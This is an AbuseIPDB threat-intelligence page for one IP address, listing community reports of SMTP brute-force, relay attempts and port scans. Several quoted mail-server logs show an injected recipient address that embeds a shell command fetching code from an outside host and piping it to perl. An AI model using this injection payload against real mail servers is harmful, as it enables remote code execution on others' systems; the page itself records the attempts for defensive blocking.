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AbuseIPDB » 51.75.155.49

51.75.155.49

Recent Activity

123 reports found in our database

100% ▲ ▲ ▲ Critical

Abuse confidence score ?

ISP

CTT CARTHAGE Technology and training

Usage Type

Data Center/Web Hosting/Transit

ASN

AS16276

Hostname(s)

ip49.ip-51-75-155.eu

Domain Name

carthage.group

Country

🇩🇪 Germany

City

Frankfurt am Main, Hesse

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IP Abuse Reports for 51.75.155.49:

This IP address has been reported a total of 123 times from 97 distinct sources. 51.75.155.49 was first reported on August 28th 2026, and the most recent report was 20 minutes ago. In the last 60 days, the top reporter locations were: United States of America with 33 reports; France with 25 reports; Germany with 22 reports. The most common categories in these recent reports were: Brute-Force 88 times; SSH 77 times; Port Scan 24 times; Email Spam 10 times; Hacking 6 times; Other 6 times.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 xmission.com	2026-08-29 20:34:57 (20 minutes ago)	Blocked by UFW (TCP on 587) Source port: 50556 TTL: 240 Packet length: 40 TOS: 0x00 This report (fo ... show more Blocked by UFW (TCP on 587) Source port: 50556 TTL: 240 Packet length: 40 TOS: 0x00 This report (for 51.75.155.49) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 initsol	2026-08-29 20:32:07 (23 minutes ago)	2026-08-29T22:29:50.905016+02:00 hermes2 postfix/smtpd[1045820]: NOQUEUE: reject: RCPT from ip49.ip- ... show more 2026-08-29T22:29:50.905016+02:00 hermes2 postfix/smtpd[1045820]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 550 5.1.2 <x: $(eval curl -sS 147.182.224.216/zed\|perl)@cve.invalid>: Recipient address rejected: Domain not found; from=<[email protected]> to=<"x: $(eval curl -sS 147.182.224.216/zed\|perl)"@cve.invalid> proto=ESMTP helo=<smtp.gmail.com> 2026-08-29T22:32:06.967032+02:00 hermes2 postfix/smtpd[1047308]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 550 5.1.2 <$(curl -sS 147.182.224.216/zed\|perl)@cve.invalid>: Recipient address rejected: Domain not found; from=<[email protected]> to=<"$(curl -sS 147.182.224.216/zed\|perl)"@cve.invalid> proto=ESMTP helo=<mail.google.com> 2026-08-29T22:32:06.970667+02:00 hermes2 postfix/smtpd[1047309]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 550 5.1.2 <x: $(eval curl -sS 147.182.224.216/zed\|perl)@cve.invalid>: Recipient address rejected: Domain not found; from=<[email protected]> to=<"x: $ ... show less	Brute-Force
🇩🇪 DasDuo	2026-08-29 20:30:00 (25 minutes ago)	Attempt on port 587 (SMTP Submission) - potential mail server attack attempt. Blocked by firewall (u ... show more Attempt on port 587 (SMTP Submission) - potential mail server attack attempt. Blocked by firewall (unsolicited inbound, no prior outbound connection). show less	Port Scan
🇩🇪 n0t404.com	2026-08-29 20:28:15 (27 minutes ago)	[n0t404 Labs] Security Incident: POSTSCREEN-RBL \| Origin: OVH SAS (FR) \| Trigger: PREGREET \| Status: ... show more [n0t404 Labs] Security Incident: POSTSCREEN-RBL \| Origin: OVH SAS (FR) \| Trigger: PREGREET \| Status: Blocked show less	Port Scan Brute-Force Bad Web Bot
🇺🇸 xmission.com	2026-08-29 20:19:45 (36 minutes ago)	Blocked by UFW (TCP on 587) Source port: 58102 TTL: 240 Packet length: 40 TOS: 0x00 This report (fo ... show more Blocked by UFW (TCP on 587) Source port: 58102 TTL: 240 Packet length: 40 TOS: 0x00 This report (for 51.75.155.49) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 sebi	2026-08-29 20:19:36 (36 minutes ago)	2026-08-29 22:17:15 H=ip49.ip-51-75-155.eu (mail.yahoo.com) [51.75.155.49] F=<[email protected]> ... show more 2026-08-29 22:17:15 H=ip49.ip-51-75-155.eu (mail.yahoo.com) [51.75.155.49] F=<[email protected]> rejected RCPT <[email protected]>: relay not permitted 2026-08-29 22:19:35 H=ip49.ip-51-75-155.eu (mail.yahoo.com) [51.75.155.49] F=<[email protected]> rejected RCPT <[email protected]>: relay not permitted 2026-08-29 22:19:35 H=ip49.ip-51-75-155.eu (mail.yahoo.com) [51.75.155.49] F=<[email protected]> rejected RCPT <"x: $(eval curl -sS 147.182.224.216/zed\|perl)"@cve.invalid>: relay not permitted show less	Brute-Force
Anonymous	2026-08-29 20:16:52 (38 minutes ago)	This IP was detected by CrowdSec triggering crowdsecurity/postscreen-rbl	Email Spam
🇳🇱 Steve Brown	2026-08-29 20:16:06 (39 minutes ago)	2026-08-29T20:14:28.993773+00:00 nl postfix/smtpd[19370]: NOQUEUE: reject: RCPT from ip49.ip-51-75-1 ... show more 2026-08-29T20:14:28.993773+00:00 nl postfix/smtpd[19370]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 454 4.7.1 <[email protected]>: Relay access denied; from=<[email protected]> to=<[email protected]> proto=ESMTP helo=<mx2.mailserver.com> 2026-08-29T20:14:29.013360+00:00 nl postfix/smtpd[19370]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 454 4.7.1 <x: $(eval curl -sS 147.182.224.216/zed\|perl)@cve.invalid>: Relay access denied; from=<[email protected]> to=<"x: $(eval curl -sS 147.182.224.216/zed\|perl)"@cve.invalid> proto=ESMTP helo=<mx2.mailserver.com> 2026-08-29T20:16:05.709264+00:00 nl postfix/smtpd[19410]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 454 4.7.1 <[email protected]>: Relay access denied; from=<[email protected]> to=<[email protected]> proto=ESMTP helo=<relay.mailserver.com> 2026-08-29T20:16:05.732106+00:00 nl postfix/smtpd[19410]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: ... show less	Brute-Force
🇬🇧 djboddington	2026-08-29 20:14:46 (41 minutes ago)	This IP was detected by CrowdSec triggering crowdsecurity/postfix-relay-denied	Email Spam Exploited Host
🇩🇪 mfilser	2026-08-29 20:14:39 (41 minutes ago)	2026-08-29T22:14:10.058864+02:00 mail postfix/postscreen[107550]: PREGREET 25 after 0.01 from [51.75 ... show more 2026-08-29T22:14:10.058864+02:00 mail postfix/postscreen[107550]: PREGREET 25 after 0.01 from [51.75.155.49]:46568: EHLO mx2.mailserver.com\r\n 2026-08-29T22:14:38.660026+02:00 mail postfix/postscreen[107550]: PREGREET 23 after 0 from [51.75.155.49]:56646: EHLO smtp.mailgun.org\r\n ... show less	Brute-Force
🇺🇸 xmission.com	2026-08-29 20:04:44 (51 minutes ago)	Blocked by UFW (TCP on 587) Source port: 40916 TTL: 240 Packet length: 40 TOS: 0x00 This report (fo ... show more Blocked by UFW (TCP on 587) Source port: 40916 TTL: 240 Packet length: 40 TOS: 0x00 This report (for 51.75.155.49) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 ksol-hostmaster	2026-08-29 20:04:15 (51 minutes ago)	Aug 29 18:48:17 ksol postfix/submission-587/smtpd[94371]: NOQUEUE: reject: CONNECT from ip49.ip-51-7 ... show more Aug 29 18:48:17 ksol postfix/submission-587/smtpd[94371]: NOQUEUE: reject: CONNECT from ip49.ip-51-75-155.eu[51.75.155.49]:42754: 554 5.7.1 Service unavailable; Client host [51.75.155.49] blocked using sbl-xbl.spamhaus.org; Listed by CSS, see https://check.spamhaus.org/query/ip/51.75.155.49 / Listed by XBL, see https://check.spamhaus.org/query/ip/51.75.155.49; proto=SMTP Aug 29 18:48:17 ksol postfix/submission-587/smtpd[94371]: NOQUEUE: lost connection after CONNECT from ip49.ip-51-75-155.eu[51.75.155.49]:42754 ... show less	Email Spam
🇸🇪 NordhTech	2026-08-29 20:00:14 (55 minutes ago)	More than 3 malicious connection attempts, trying port(s) 587/tcp, then blocked from services ...	Port Scan Hacking
Anonymous	2026-08-29 19:54:10 (1 hour ago)	unsolicited connect TCP dport 587 (sport 40720)	Hacking
🇹🇼 AndCycle	2026-08-29 19:53:29 (1 hour ago)	Aug 30 03:50:44 bacztwo courieresmtpd[3902065]: error,relay=::ffff:51.75.155.49,port=57282,from=<tes ... show more Aug 30 03:50:44 bacztwo courieresmtpd[3902065]: error,relay=::ffff:51.75.155.49,port=57282,from=<[email protected]>,to=<[email protected]>: 513 Relaying denied. Aug 30 03:53:28 bacztwo courieresmtpd[3905154]: error,relay=::ffff:51.75.155.49,port=33718,from=<[email protected]>,to=<[email protected]>: 513 Relaying denied. Aug 30 03:53:28 bacztwo courieresmtpd[3905157]: error,relay=::ffff:51.75.155.49,port=33768,from=<[email protected]>,to=<[email protected]>: 513 Relaying denied. Aug 30 03:53:28 bacztwo courieresmtpd[3905156]: error,relay=::ffff:51.75.155.49,port=33744,from=<[email protected]>,to=<[email protected]>: 513 Relaying denied. Aug 30 03:53:28 bacztwo courieresmtpd[3905158]: error,relay=::ffff:51.75.155.49,port=33868,from=<[email protected]>,to=<[email protected]>: 513 Relaying denied. ... show less	Email Spam

Showing 1 to 15 of 123 reports

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